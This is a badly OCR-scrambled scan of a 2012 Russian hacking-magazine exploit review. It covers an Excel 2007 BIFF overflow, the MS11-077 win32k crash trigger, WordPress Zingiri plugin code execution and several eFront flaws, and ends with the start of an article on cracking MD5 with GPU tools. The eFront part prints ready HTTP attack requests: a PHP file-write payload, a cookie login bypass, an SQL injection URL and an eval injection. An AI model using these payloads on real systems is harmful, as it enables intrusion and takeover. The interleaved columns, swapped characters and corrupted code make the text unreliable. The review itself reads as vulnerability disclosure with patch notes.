Формат файла эксплоита

ХАКЕР

01 / 156/ 201 2


Обзор эксплоитов

start () ;

@ оЬ

(CLASS SESSION ACTION ) ; SsessionAction = - Sessi~nAction () ; SselectedDocuments = SsessionAction ->get () ; if( removeTrailingSlash ($sessionAction ->getFolder ()) && sizeof ($selectedDocLJments ))

==

getParentPath ($ POST [ ' id ' ])

{

if(($ key = array search (basename ($ POST [ ' id ' ]) , $selected0ocuments )) !== false ) {

$selected0ocuments [$key ] = $ POST [ ' value ' ] ; $sessionAction -> set ($selectedDocuments ) ;

} baseпame ( $ POST [ ' icJ ' ]) . "\n "; displayArray ($selectedDocuments ) ;

-- removeTrailingSlash ($ POST [ ' id ' ]))

} elseif( removeTrailingSlash ( $ sessionActioп -> getFolder ())

{

POST [ ' id ' ]) ;

S sessionActioп -> setFolder ( $

}

writelnfo (ob get

сlеап ()) ;

Фра г ментфайла ajax _ save _name .php

соо тв е т с тв уетс пецификации

BIFFB. Перечисли м кратко н екоторые

ееебН

положения этой с пецификации , чтобы л у чше п оня ть су ть работы

ее1ен

экс плоита .

еыен

Bl FF- с тр ук т ура представляет собой идущие п одряд

ее4еН

за пи си:

е1еен Туре

BOF

-

Visua l Basic module Works heet Chart BIFF4 Macro sheet BIFF4 Work book globals

= workbook globals Н а практике за записью

Workbook globals

BOF может с л е довать н е д окуме нти­

рованная запись со значением типа ОхА7. Эта за пи сь имеет см ы с л только в том случае, если за ней идет другая запись со значением

EOF BOF

типа ОхЗС. При выполнении этихтребований в стек копируется

Ту ре =

worksheet Sheet records поток

длина записей и происхо дит вызов функции

sub _3 0199E55. Она

принимаеттри аргумента. В п ер в ом ар г ументе со держится пр о­

EOF BOF

читанное из файла количест во байт для ко п ирова ния. Второй

Туре = worksheet Sheet records поток

аргументопре д еляет адрес, куда копируются данные, а третий указывает максимальный объем данных, который может быть

EOF

скопирован.

В се за писи имеютсл е д ую щий формат:

.text:зesЗF8Зe .text:Зe5ЗF835

ID

.text:Зe5ЗF838

(два байта)

Размер данных, Д а нные

sz

(два байта)

.text:Зe5ЗF844

.text:Зe5ЗF849

П ер вы е четыре байта (ID и размер] - это заголовок записи. За­

.t ext:Зe5ЗF84 F

писи могут группироваться в потоки. Ограничителями гр у пп служат

. text:Зe5ЗF856

две с п е ци а льные за пи с и: BOF IBegiп Of File] и EOF IEпd Of Fil e]. На с

.text:Зe5ЗF858

интересует

.text:Зe 5 ЗF85E

BOF, которая имеетс лед ую щий формат:

.text:Зe5ЗF862

.text:Зe5ЗF867

BOF , BIFF8 Смещ.

ее е2 е4

еб ев

12

Раз~;ер

Значение

Описание

. text:Зe5ЗF869

2 2 2 2 2 2 4 4

е8е9Н

ID

.text : Зe5ЗF86A

е01ен

размер

. text:Зe5ЗF86C

ебеf'Н

версия

.text:Зe5ЗF86E

***.fc H

тип

. text:Зe5ЗF86F

ID год

еееsн

ХАКЕР

.text:Зe5ЗF872

создания

call suЬ_зе1деде1 mov есх, [ebp+var_EDC] imul есх, [ebp+var_Fee] mov edi, еах mov еах, [ebp+var_EEe] lea еЬ х, [ес х +еа х + З ] call suЬ_Зе lдедвЕ push eFFFFFFFDh рор edx sub edx, есх add еа х, edx push еах ; Dst push еЬх ; int mov еах, edi call sub_Зe199E55

флаг истории файла самая

из ВОF-записей:

.text:Зe5ЗF87e

создания

младшая

которая

Типы

еах

.text:Зe5ЗF83E jпz lос_Зе54е488

байт)

(sz

call suЬ_Зе1деде1 cmp еах, ЗСh mov [ebp+var_ED4] ,

может

этого файла

версия

Excel,

читать

записи

Про блема сос тоит в том, чт о в функции

sub_30199E55 не осу ­

ществляется д о л ж н ая фильтрация треть е г о аргумента, т о гда как пользователь может кон тр о лировать е го значение. Эт о з начит, что в стеке можно п ереза писать об ъ ем и адрес н уж ны х данны х.

- Workbook globals

01 /156/2012

055


ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

static checkFile ($name ) { if ($GLOBALS [ config uration file Ыасk list l ] != $ Ыacklist = explode (" , ", $GLOBALS [ configLJration } else {

puЫic

1

1

1

11

][

1

$ Ыacklist

} $ Ыacklist

1

[]

)

{ 1

1 ][

file

Ыасk

list

1 ]);

= аггау ();

= pt1p 1

1 ;

$extension = pathinfo ($name , PATHINFO_EXTENSION ); foreach ( $ Ыacklist as $value ) { if ($extension == trim (mb str-tolol..rer ($valL1e ))) { throw EfrontFileException (_YOUCANNOTUPLOADFILESWITHTHISEXTENSION . .$extension , EfrontFileException : :FILE IN BLACK LIST ); 1- П

Кодфункции CheckFilell

.text:30199Eб0

во время компиляции сп иска д о п устимых обрабо тчи ков исклю­

.text:30199Eб4

чений в заголовке РЕ -образа. Е сли nри выполнении возникает

cmp edi, [e sp+4+Dst] ja loc_303EE1B7 .te xt:30199 E бA mov есх, [esp+4+arg_0] .text:30199EбE push еЬх .text:30 199E бF mov еЬх, dword_30F72бC0 . text:30199E75 push еЬр .text : 30199E7б mov еЬр, nNumberOfBytesToRead .text:30199E7C push esi .text:30199E7D mov [esp+ l0h+Dst], есх

иск лючит ельная ситуация, операционная система пр оверяет nр а ­

виль н есть адреса об ра бот чика по заголовку образа. Е с ли адрес не правиль ный, работа при л ожения прерывается. Нота к как мы имеем дост уп к

memcp y,

то сможем

nepen исать

стек после все х

прове ра к, в ключаемых фла гом / GS . Когда управление вернется, в esp будет н аходиться конт ролир уемое нами з нач е ние . Таким об­ разом, мы сможем передать на н егоупра влени е про с тым вызовом

ca ll esp . mov еах, [esp+l0h+Dst] push esi ; Size lea edx, dword_30FбEбB8[ebx] push edx ; Src push еах ; Dst sub edi, esi call memcpy add [esp+lCh+Dst], esi add еЬх, esi .tex t :З0 199EAD add esp, 0Ch .text:30199EB0 test edi, edi .text : 30199EB2 mov dword_30F72бC0, еЬх .text:30199EB8 jnz loc_301E0DBЗ

. text:30199E93 .text:30199E97 . text:30199E98 .text :30199E9E .text:30199E9F . text:30199EA0 .text :30199EA2 . text:30199EA7 .text:30199EAB

i(.1;ldfifi Microsoft Office Excei2007/ Microsoft Office Excel2007 SP 2.

,_i,J!Iiit•J:I Су щ ес тву ет обно в ление, уст р а няющее этууяз ви масть .

2

MS11-077 Win32k Null Pointer De-reference Vulnerabllity РОС ~2

CVSSV 2

11111

111111 111 111 11 11111

[AVL/AC:L/Au:N/C:C/1 С/АС)

1]]Ш Считается, что для уязвимастей типа п ереполнения бу фера пи са ть эксплоиты не сложно. Однако в д анном случае одновре­

Датарелиза: 2Зоктября2011 года. Автор:

менно исполь зуютс я защи тны е механизмы, включаемые флагами

KiDebug. CVE: CVE-2011-1985.

компилятора / GS и / SAFESEH . На пом ню , что /GS- это флаг для

Уяз вимость на хо дится в wi n32k.sys и з аключается в том, что для не­

компилятора

MS Visual Studio, отвечающий за внедрение меха­

кото рых сооб щ ений п ере д а нн ое з начени е хэ ндла окна не пров ер я­

низмов, ко т о рые за щищают буфер в стеке от переполнения . Если

етс я. Это п озволяет нам осу щ ествить атаку типа «О т каз в обслужи­

компилятор с чит ае т, что для функции в оз можно п е реполнение

вании>> от имени ло кал ьного nользователя.

буфера, то в проце ссе компиляции он выделяет для нее память в с теке перед возвращаемым адр есо м . При входе в функцию в

IJ34!•Jii

выделенную па мять за гружает с я объект безопа с ности

Возьмем для примера ли с тинг одной из уязвимых функций :

cookie,

который формируется од ин раз пр и за гр узке мо д уля . Пр и выходе из функции и при обработке кадров в обратном порядке в 64-раз­ рядных о п ерацион ны х системах вызывается вспомогательная

функция , которая проверяет, не изменилось ли значение объекта

coo kie. Е сли значение изменило сь, то это может означать, что стек был пере з аписан. При обнаруже н ии измененного значе-

ния проц есс завер ш ается. /S AFESEH за щища етустановле нны е SЕН-обработчики от п е ре за пи с и . Обработчик исключ е ний представляетсобой фрагмент кода, кото рый выполня ется в и ск лючительных с л учаях, например nри п о пыт ке деления на

ноль. Адрес обрабо тчика хранится в стеке ф у нкции, и поэтому

его вполне можно п о в ре д ить. В ходя щ ий в состав Visual Studio

компоновщик поддерживает параметр / SAFESEH для с охра не н и я

056

.text:BF9140C0 ; _stdcall NtUserfniNCBOXSTRING(x,x,x,x,x,x,x) .text:BF9140C0 _NtUserfniNCBOXSTRING@28 proc near CODE XREF: xxxDefWindowProc(xJx,x,x)+бE [ p . text:BF9140C0 NtUserМessageCall(x,x,x,x,x,x,x)+бl[p .text:BF9140C0 .text :BF9140C0 НWND dword ptr 8 . text :BF9140C0 arg_4 dword ptr 0Ch .text:BF9140C0 arg_8 dword ptr 10h .text:BF9140C0 arg_C dword ptr 14h .text:BF9140C0 arg_10 dword ptr 18h dword ptr lCh .text:BF9140C0 arg_14 dword ptr 20h .text:BF9140C0 arg_18

ХАКЕР

01 /156/2012


Обзор эксплоитов

В заключение перечислим все сообщения, использование которых в

приведенном выше коде дает аналогичный результат - BSoD:

RETURIJ t o

EXCEL . ЭO II OВEE

frooo

ЕХСf:L .зооовА7Э

Прыжок к началу полезной нагрузки

ехе14З

CB_SELECТSTRING

exe14D

CB_FINDSTRINGEXACT LB_ADDSTRING LB_INSERTSTRING LB_SELECTSTRING LB_FINDSTRING LB_FINDSTRINGEXACT LB_INSERTSTRINGUPPER LB_INSERTSTRINGLOWER LB_ADDSTRINGUPPER LB_ADDSTRINGLOWER

ехе1sв

ехе14А

ехе14С

ехюве ехе1в1 ехе1вс

exelBF ехе1А2

exelAA ехеlдВ ехе1дс

exelAD

.,.,,Jdjfi

.text:BF914ece .text:BF914ece .text:BF9148C2 .text:BF9 14eCЗ

. text : BF9148CS ; Если НWND .text:BF9148C8

CB_ADDSTRING CB_INSERTSTRING CB_FINDSTRING

==

mov edi, edi push еЬр mov еЬр, esp mov есх, [ebp+НWND) exffffffff (-1), то mov еах, [ecx+2eh )

Windows ХР SP3/XP SP2 х64, Windows 2003 Sегvег SP21+ itanium,x64l, Windows Vista SP2/ SP2 х64 , Windows Sегvег 2008 SP2 х32/х64/ itan ium, Windows 7 х32 / х64 , Windows 7 SP1 х32/х64, Windows Sегvег 2008 г2 x64/i tanium, г2 spl x64/itan ium . BSOD

f"j•J!Iiji•J:I Су щ ес тв у ет обновление для MSll-077, устраняющее эту уязвимость .

Функция NtUs e гMessageCall вызывает NtUseгfniNCBOXSTRING по инд е ксу, связанному с номером сообщения CB _ ADDSTRING:

.text :B F88 EE6B ; i nt __stdcall NtUserMessageCall(int, int, int UnicodeString, PVOID Address, int, int, int) .text:B F88EEB1 push [ebp+arg_18) ; int movzx еах, ds:_MessageTaЫe[eax] .text:BF88 EEB4 push есх int .text:BF88EEBB [ebp+arg_le) int .text:BF88 EEBC push . text: BF88 EE BF and е ах, ЗFh . text : BF88EEC2 push [ ebp+Address] Address .text :BF 88EECS push [ebp+UnicodeString] ; int . text: BF 88E EC 8 push [ ebp+arg_4] ; int . t ext: BF 88EECB push esi ; int . text : BF 88E ECC ca l l ds:_gapfnMessageCall[eax*4 ) ; NtUserfniNSTRINGNULL(x,x,x,x,x,x,x)

3

Удаленное выполнение кода в

Wordpress

Zingiri Web Shop Plugin

CVSSV2 11111111 1111 11 11111111 1

~5

1111 111 1

I:N/ AC:L /Au:N / C: Р/ 1: P/ A:PI

Шl1Ш

WoгdPг e ss у же давн о вышел за рамки простой платформы для ведения блогов. Теперь к нему можно прикрутить немыелимое ко­ лич ес тво плагинов , вплоть до тех , которые отвечают за внедрение

электронной коммерции. Сегодня нашим подопытным стал один и з таки х плагинов- плагин для создания онлайн-магазина,- что

еще раз доказывает бе с печность некоторых программистов при разработке продуктов, на которые в первую очередь падает взор люд е й в черных шляпах. Уязвимость обнаружил исследователь

Egidi o Romano aka EgiX в конце октября . Хороший мальчик EgiX о тправил ра з работчикам отчет о ба г е и только 13 ноября, после вы­ хо да исправленной версии , обнародовал подробную информацию

. rdat a:BF998D68 _gapfnМessageCall dd offset _NtUserfnNCDESTROY@28 .rdata :BF998D68 ; DATA XREF: NtUserМessageCall(x,x,x,x,x,x,x) . rdat a : BF99eD68 ; NtUserfnNCDESTROY(x, x,x,x,x,x,x) .rdata : BF998D6C dd offset _NtUserfnNCDESTROY@28 ; NtUserfnNCDESTROY(x,x,x,x,x, x,x) .rdata:BF998D7e dd offset _NtUserfniNLPCREATESTRUCT@28 ; NtUserfniN LPCREATESTRUCТ(x,x,x,x , x,x,x) . rdat a: BF998DD4 dd offset _NtUserfniNCBOXSTRING@28 ; NtUserfniNCВOXSTRING(x,x,x,x,x , x,x)

о б у язвимости .

IJ:J4!•Jii

Инт е ресующий нас код содержится в функции /fws/addons/ t i пу m с e/j sc гi р t s/t i пу _ m с е 1р 1u g i п s/ а j ах f i 1е ma па g е г1а j ах_ s ave _ name.php, строчки 37-56 представлены на соответствующем рисунке . Здесь мы можем повлиять на значение массива

$selectedDocuments через POST -параметр value. Затем нужно отобразить содержимое $selectedDocuments с помощью функции displayAггayll и вызвать функцию wгitelnfoll, использующую со­ держимое буфера, где находится $selectedDocuments. Рассмо­ трим функцию wгitelnfoll , находящуюся по адресу /fws/addons/

Для того чтобы успешно проэксплуатировать эту уязвимость, не­

t i п у m се /j s с гi р t s/t i пу _ m се / р 1u g i п s/ а j ах f i 1е ma па g е г1а j ах_ с геа t е _

обходимо выполнить функцию

foldeг.php:

SendMessageCallback((HWND)- l ,CB_ADDSTRING, e, e, e, e );

function writeinfo($data, $die = false) { $fp = @fopen(dirname( __ FILE __ ) . DIRECTORY_SEPARATOR . 'data.php' , @fwrite($fp, $data);

или

SendNotifyMessage((HWND)- l ,CB_ADDSTRING, e, e );

ХАКЕР

01 / 156/201 2

'w+' );

057


ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

i f ($_POST[ 'templateName' ]) { $dir = ' .. / .• / .. / .. /content/editor_templates/' . $_SESSION[ 's_login' ]; i f (!is_dir($dir) && !mkdir($dir, 8755 )) { throw new Exception(_COULDNOTCREATEDIRECTORY); $filename = $dir. '/' .$_POST[ 'templateName' ]. '.html' ; $templateContent = $_POST[ 'templateContent' ]; i f (file_exists($filename) === false) { $ok = file_put_contents($filename, $templateContent); chmod($filename, 8644 );

Код функции GetUserTimeTargetll

Данные пользователя, передаваемые в функцию file_put_

contents() через параметры $_POST[ 'templateName' ] и$_ POST[ 'templateContent' ] , никак не фильтруются . Таким образом,

@fwrite($fp, "\n\n" • date( 'd/M/Y H:i:s' ) ); @fclose($fp);

атакующий, который имеет аккаунт в системе, может записать произвольный код в файл с расширением О да! Она записывает переданные ей данные в файл

data.php, что

позволяет атакующему исполнить п роизвольный код на уязви мой

директива

php, если включена magic_quotes_gpc. Запрос, эксплутирующий эту

уязвимость, выглядиттак:

системе с привилегиями веб-сервера. Эксплоит для этого ба га

доступен на ex pl oit- db .co m

!EDB-10: 18111]. Он

написан на РНР,

поэтому для его использования необходимо установить и нтерпре­ татор языка РНР. Для винды тебе придется скачивать инеталпер с официального сайта, а для линуксов достаточно одной команды пакетного менеджера, например:

11 для Arch Li nux # pacman -5 php / /для Debian- ba sed # apt-get install php

POST /efront/www/editor/tiny_mce /plugins/ save_template/save_template.php НТТР/1.1 Host: localhost Content-Length: бе Content-Type: application/x-www-form-urlencoded Connection: keep-alive templateName=sh.php%ee&templateContent= < ?php evil_code(); ?> 2. Загрузка произвольных файлов. Уязвимый код содержится в функ­ ции checkFile[], которая находится в файле /libгaгies/filesystem. class.php, строки 3143-3154 представлены на соответствующем

Испольэоватьэксплоитдостаточнопросто:

рисунке. Метод FileSystemTгee::uploadFile!l, отвечающий за загрузку всех файлов, используетсhесkFilе[] для проверки рас­

$ php 18111.php <host> <path>

ширения загружаемого файла. Она, в свою очередь, сравнивает Здесь <host>- наименование ха ста,

<path>- путь к WoгdPгess.

расширение с элементами черного списка file_Ыack_list, в число

Стоит отметить, что такой же ба г присутствует в аналоге этого пла­ гина для

Joomla!, нотам он не эксплуатабелен из-за неподходящего значения переменной CONFIG_SYS_ROOT_PATH.

if·1;1d:Jfi

которых по умолчанию входят php, php3, jsp, asp, cgi, pl, ехе, сот, bat. Благодаря этому атакующий может запросто загрузить аватар с расширением php.

3. SQL-инъекция через опера тор UPDATE. Рассмотрим код функции getUseгTimeTaгget[], которая находится в /libгaгies/

Woгdpгess Ziпgiгi Web Shop Plugin от 0.9.12 до 2.2.3.

tools.php : он представлен на соответствующей картинке. Эта

fi·l!iiji·B' Обновиться до версии

'

функция парсит переданную ей ссылку и, если находит пара­

2.2 .4 или более поздней.

Множественныеуязвимости в

метр package_l О, использует её значение как индекс в массиве $entity. Чтобы понять суть проблемы, за глянем в код /www/ peгiod ic_ u pdateг.php:

eFront ~5

CVSSV2 111111 1111 111 11 111111

1111 [AV: N/AC:L/Au: N/C:P/1: Р/А:Р]

IШIJj] В конце октября исследователь под ником EgiX опубликовал информацию о целой пачке уязвимастей в популярном за рубежом корпоративном продукте eFгont. Этот продукт интересен хотя бы просто потому, что на его прим ере можно рассмотреть большинство широко распространенных в настоящее время уязвимастей в веб­ приложениях и понять, как не надо программировать.

Цf:JQ!•Iii 1. Удаленное выполнение кода. Бажный код содержится в файле /www /е d i to г/t i ny_ m се/ р 1ug i п s/save _ te m р 1а te/s ave _ te m р 1а te. р h р !строки 8-18]:

058

i f ($_5ESSION[ 's_login' ]) { $entity = getUserTimeTarget($_GET[ 'HТТP_REFERER' ]); //$entity = $_5ESSION['s_time_!arget ' ] ; //Update times for this entit y $result = eF_executeNew( "update user_times set time=time+(" . time(). "-timestamp_now),timestamp_now=" . time(). "lr.tlere session_expired = е and session_custan_identifier = $_5ESSIDN[ 's_custom_identifier' ]. "' and users_LOGIN = '" . $_SESSION[ 's_login' ]. "' and entity = '" . current($entity). "'and entity_id key($entity). "'" );

ХАКЕР

01 /156/2012


Данные, содержащиеся в $_GЕТ['НТТР_REFERER'], пере­ даются в функцию getUseгTimeTaгgetl l , а возвращаемое значение используется при последующем вызове функции

eF_executeNew ll . Таким образом, для внедрения произвольнога SQL-выражения атакующий может запросить URL следующего вида :

http:/ / localhost/efront/www/periodic_updater.php? HTTP_REFERER=http://host/?package_ID=[SQL] В последних версиях продукта данные берутся из переменной $_SERVER('HПP_REFER ER '], что , в общем-то, никак не влияет на ба г. Для успешной реализации атаки необходимо иметь аккаунт в системе.

4.

Обходаутентификации и повышение привил е гий . Уязвимый код

находится в /www/index.php:

if (isset($_COOKIE[ 'cookie_login' ]) && isset($_COOKIE[ 'cookie_password ' ])) try { $user = EfrontUserFactory :: factory( $_COOKIE[ 'cookie_login ' ]); $user - > login($_COOKIE[ 'cookie_password ' ], true); Данные в

$_COOK IE ['cookie_login'J. используемые для создания

нового объекта с помощью метода EfгontU serFactory::factoгyll, не фильтруются, благодаря чему можно обойти аутентификацию и повысить привилегии:

GET /efro nt /www/index.p hp НТТР /1.1 Host: localhost Cookie: cookie_login=admin;cookie_login=1;cookie_ login=administrator;cookie_login=1;cookie_password=1 Connection : keep-alive 5.

Внедрение произвольнога РНР-кода. Уязвимый кусок кода на­

ходится в /www/s tudent.php:

if (isset($_GET[ ' course' ]) 11 isset($_GET[ 'from_course' ])) if ($_GET[ 'course' ]) $course else { $course

new EfrontCourse($_GET[ 'course ' ]); new EfrontCourse($_GET[ ' from_course' ]);

}

$eligibility = $course - > checkRules( $_SESSION[ ' s_login' ]) ;

WEXLER.BOOK ESOOl «МПРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩ~ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

Данные , находящиеся в $_GET['couгse'] или $_GEТ[ 'from _ couгse'J. не фильтруются перед созданием нового объекта

EfrontCourse,

что по зво ляет выполнить код, так как в проц ессе

создания объекта вызывается функция evalll :

СТИЛЬНЫЙ ГАДЖЕТ

/s tudent.php?lessons_ID=1&course[id]=1&course [directions_ID]=1&course[rules]=a: 1 :{s: 19 : "1]; phpinfo();die; /* " ;a: 1 :{s: б : "lesson" ;i : e ;}}

if.1;1dJt1

еFгопt <= 3.6.1О [build

119441.

,_1,J!Iii[•I:J Обновиться до более поздней версии. ::К::

ХАКЕР

01 /156/2012

ф WI!XLI!Г.

www.wexler.ru

pвШ·ilifijij

ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60


взлом

Илья Вербицк и й [Ьiog.chivavas.org[

Вид е окарта АТI НО 4850 Х 2 n о з вол яе т ген ер ировать до 2,2 м иллиардов хе ш ей в се к у н ду!

Radeon

Н а наш е м дис к е

bjt.Jy/yEhdiг

ты сможешь

-добавление

найти nодробное обучающее видео и

нового алгорит м а

х еширования в

соо т ветствующие

RainbowCгac k nри nомощи АР! .

n рограммы для реали з ации вс ех описанны х в стать е

Исn о л ь з овани е а л ­

bjt.[y/viSB9K -

гор и тма

н е приемлемо вслед­

оnисание форм а та сс раду ж ной~>

ствие недостаточной

таблицы .

MD5 в

ЭЦn

с пособов взлома

MD5.

у ст о й ч и во сти этого а лгоритма к n о и ску

к оллизи й .

Н и для к ого не секрет, что криптография проч ­ но вошла в нашу жизнь. Интернет-сервисы, соц и альные сети , мобильные устройства­

ВСЕ МЕТОДЫ ВЗЛОМА

ПОПУЛЯРНОГО АЛГОРИТ­ МА ХЕШИРОВАНИЯ

в се о ни хранят в с воих базах парали пользова­ теле й, заш и фрованные с помощью различных алгоритмов . Наиболее популярным таким ал­

гор и тмом сегод��я, безусловно, является

MD5.

О способах его взлома и пойдет речь .

НЕМНОГО О КРИПТОГРАФИИ Современная кри пт ография вк л ю ч ае т в себя т ри н а п рав л е н ия : ш иф­ рование с закры т ым клю ч ом, ш ифро в ание с откр ыт ым к л ючом и хе­ ширование . Сегодня мы поговорим о том, что такое хеширование и с

чем его едят. В целом под хешированием п онимают преобразование входных данных произвольной длины в выходную би т овуюстроку фиксированной длины . Чаще в сего хеш - функции применяют в про­

цессе аутен т ификации п ользова т еля lв базе д а нны х обыч н о хра н ит­ ся хеш па рол я вместо самого пароля l и для вы чи сления ко нт рольных сумм файлов , па кетов данных и т. п . Одним из наиболее известных и широко используемых алгоритмов хеширования является

Алгоритм

MD5

MD5.

представляет собой 1 28-бит н ый ал г ори т м хе ш иро­

вания. Это з н ачи т, что он вычисляе т 1 28-бит н ый хе ш дл я п роиз­ вольного набора д анных, поступающих на его вход . Этот алгоритм ра з работал профессор Рональд Ривест из Массачусетского техно­ логиче ско го института в

1991 годудля замены ме н ее надежного MD4 . Алгори т м был впервые опубликован в апреле 1992 года в RFC 1321. П осле этого MD5 с т ал использоваться д л я решения са мы х раз н ых за д ач, от хе ш ирова ния п аралей в CMS д о предшественника -

создания электронно-цифровых по дп исей и SS L-сертификатов. О том , что алгоритм в

1993

MD5 можно

взломать , впер в ые заговорили

году. Исследователи Берт д е н Боер и Антон Б осси л арис по­

казали, что в алгоритме возможны псевдоколлизии. Ч ере з три года, в 1996-м, Ганс Д обберти н опублико в ал статью, в которой доказал наличие ко л лиз и й и о п иса л теорети ч ескую возмож н ость вз л ома

MD5.

Это был е щ е не взлом, н о в м ире н ачались раз г оворы о не­

обходимости перехода на более на д еж н ые алгоритмы хеширования,

например

SHA1 [на момент написания этой ст атьи уже было дока з а­

но, что коллизии имеются и в этом ал г оритме, п оз т ому рекомендую

и с пользовать

SHA21 или RIPEMD-160.

ЕРВЫЕАТАК Н епосредственный взлом

MD5 на ч а л ся 1 марта 2004 года. Ком п ания MD5CRK - распределен­

CeгtainKey Cгy ptosystems запусти л а проект

ную с истем у поиска коллизий. Целью проекта был поиск двух сообще­ ний с идентичными хе ш - код ами. П роект завершился

24 августа 2004

года , когда четыре н езависимых исс л е дователя - В ан Сяоюнь, Фэн

ХАКЕР

01 /156/20 12


Штурм

~ '(

,, '"'•'-• "

~

~

f 1H

LJJ

А

11:'

;,.

.,

' 'jiJI:fl(,(;

;•t

, JII

,J,J

(.,J

~

.,,

• ."

t:' l

'Н!

'' • '1'

~

14

,,н

1;

Cl~

., w '11

-~

'-,t·,

~

Loto

1

~

1·1

1)/

'•/

!:!1

~· 1

~

t-~-

.JH

·~i

• н.

..ili

~

~

Ul

".,

l;f,

t,

,-,.,"

l:f,

1:-'

ф,

j,

1·1

1·-'·

~

~

А

сН

1/

l; fj

н :'

~.-

Jl

·.~.

и

~

.,

,, ,j

'•'11~ •::-• ..

,.,.,,,,,,,

~

w ., ~ ,.,j

: :t

м

::,

~

~~

1_1 1

•,/

;,

t•H

'"

t- ~.

,,н

: :-;

'1·;

HIIL,

<i !" ···:l

.• 1

~. -

ы:

l't / 1

: I'J

ш

/1

41

•,,,

ления контрольных сумм файлов . Кстати,

'"

1' /

~

~

объявила конкурс среди криптографов. Цель конкурса- разрабо­

N

. и

f lf, /IJ

1'<

;•t .

l,'i

~

'1,

~

41.1

"4

t,::

~-

~

,,.,

1:·:

~

Не.'

-;;

~ ·-

·11!

t.tl

~

IJ1f

'1

~

I 'J

31

октября

,,,

•''

тать а лгоритм хе шир овани я на заме н у устаревшим

11

;;,,

/1>

данный моме нт финалисты уже о пред еле ны- это

1!1.1

1··

Keccak

и

Skein.

2008

года

NIST

SHA1 и SHA2. На BLAKE, Gostl, JH,

Поб едителя выберут во втором квартале этого года.

' j~:

,,j·

~

1''1

.,,;

-;,.

:1 '1

н::

Ui

:''•

"'-; ,

/1

11

·11

~·~

t.'J

N

ol•1 f lf,

•Ш

1'1 c 1J

'••• ~ ,_,,

,,.;

~

lof,

111.•

~'11

(Jrj

,,.

ственно о взломе нашего любимого алгоритма. Предположим, что

~

'·'

f';

~

/1>

нам в руки п опал хеш какого-то па рол я: d8578edf8458ceeбfbc5bЬ76a

···1

t,.,

1<1 J

~ ••

~

4~

' !1:

'о:

tl:

),J

·-~ ,,.,

/о'.-'

х ранения па ролей, в электронно-цифровых подписях и для вычис­

f lt,

<•4 ··4 l oJ f o<l

::/

,,,,

.,,

1J'1

t ..t

н

oJI! ibl

t.'1

•\•!

::·;

4;•

~; 1

f:,J

00

ili

-;-;

'

:• t

~

4

1 -~'

1.'

IJ'I

(Jf,

<11

н ~ rн .1 ~

'•'•

н. ,,

~

"' "

MD5

,, ..

/'HJ~,.1,.J;н,;•L, 1 ,t t. t.,;•,,,,.нн

;;•

1)1}

~

-~

GHASHGPU: ВЗЛОМ

С ПОМЩМЬЮ

GPU

Н о хватиттеории. Д авай п ерей дем к д елу и поговорим непосред­

58с5са4. Для взлома это г о хеш а я предлагаю воспользоваться про­

·1:•;•,,,,f '••1• t .•1

граммо й

lghashgpu,

которую можно скачать на сайте

www.golubev.com

или н айти на нашем диске. Ути лита распространяется совершенно

Пример коллизии МDS-хешей

бесплатно и спокойно работает под виндой. Чтобы ускорить процесс в злома xe шa , lghashgpu использует

GPU,

поэтом у тебе необходима

как минимум одна видеокарта пVid ia или ATI с поддержкой CUDA/

ATI Stгeam . Современные графические процессары nостроены на несколько иной архи тек туре, нежепи обычные CPU, поэтому они гораздо эффективнее обрабатывают г рафическую информацию. Хотя

GPU предназначены для обработки трехмерной графики, в последние несколько лет появилась тенденция к их применению и для обычных

вычислений. Начать работать с программой не просто, а очень просто: распакуй архив в любое место на ди ске и прист упай к взлому с по­ мощью командной строки

Windows:

ighashgpu .exe -t:md5 \ -h:d8578edf8458ceeбfbc5bЫ6a58c5ca4

-max:7

Мы используем вышеприведенный с пособ для взлома одно г о определенного хеш а, сгенерированного при п омо щи алгоритма Брут

MDS по

MD5.

Максимальная длина возможного пароля сос тавляет семь символов .

маске

Через какое-то время параль будет найден [qweгtyl. Те п ерь давай попробуем взломать еще один хеш, но с немного дру г и­

Дэнгуо, Лай Сюэцзя и Юй Хунбо- обна ружил и уязвимос ть алгоритма,

ми условиями. П усть наш хеш имеет вид dllfd4559815b2c3delb685bЫ

позволяющую найти коллизии аналитическим методом за более­

8а6283, а включает в себя буквы, цифры, знак подчеркивания и имеет

менее приемлемое время. С пом ощью этого метода можно всего лишь

суффикс <<_admiп » . В данн ом случае мы можем использовать перебор

за час выявить коллизии на кластере IBM р690 [жа ль, что у меня нет

па рол я по маске, чтобы упростить программе задачу:

такого дома].:-] Первого марта 2005 года было продем онстрировано первое использование указа нной уязвимости на практике. Группа

ighashgpu.exe

исследователей представила два сертификата Х . 509 с разными на­

-u:[abcdefghijklmпopqrstuwvxyz1234567890_]

-h:dllfd4559815b2c3delb685bЫ8a6283

-t : mdS

-m:??????_admiп

борами ключей, н о с идентичными контрольными суммами . В том же году Вла с тимил Клима опубликовал алгоритм, позволяющий обнару ­

жи вать коллизии на обычном ноутбуке за несколько часов . В п оше л дальше. Восемнадцатого марта

2006

2006 он

года исследователь об­

Здесь параметр

'-u'

по зволяе т указа ть набор символов, исполь­

зуемых при переборе, а параметр

народовал алгоритм, находящий коллизии за одн у минуту! Этот метод

которых идет сочетание

получил название « туннелирование ». В

никакого тр уд а.

2008

году на конференции

'-m'

за дает маску пароля. В нашем

случае маска состоит из шести произвольных символов, после

<<_admin >>. Подборпароля

также не сос т авит

Chaos Communication Congгess была представлена статья о методе генера ции подд е льных сертификатов Х . 509. Фактич ески это был пер­ вый с лучай реального использования коллизий в алгоритм е

MD5.

Большая работа была также проделана и для ускорения взлома хешей. В

коллизии

2007 г оду Кевин Бри з представил программ у, использую­ Sony Pla yStat ioпЗ для взлома MD5. Он сумел добиться очень не­ плохих результатов: 1,4 миллиарда МD5-хешей генерировали сь все­ го лишь за одну секунду! Уже через два года, в 2009-м, на BlackHat USA вышла статья об использовании GPU для поиска коллизий, что

данны х, которые для одной и той же хеш-функции дают один и

nозволяло повысить его скорость в несколько раз, особенно если он

тот же хе ш. Каждая функция на выходе дает по с ледовательность

выполнялся с nомощью нескольких видеокарт о дновременн о.

битов определенной длины, которая не за висит от размера

щую

Коллизией в криптографии называют два разных входных блока

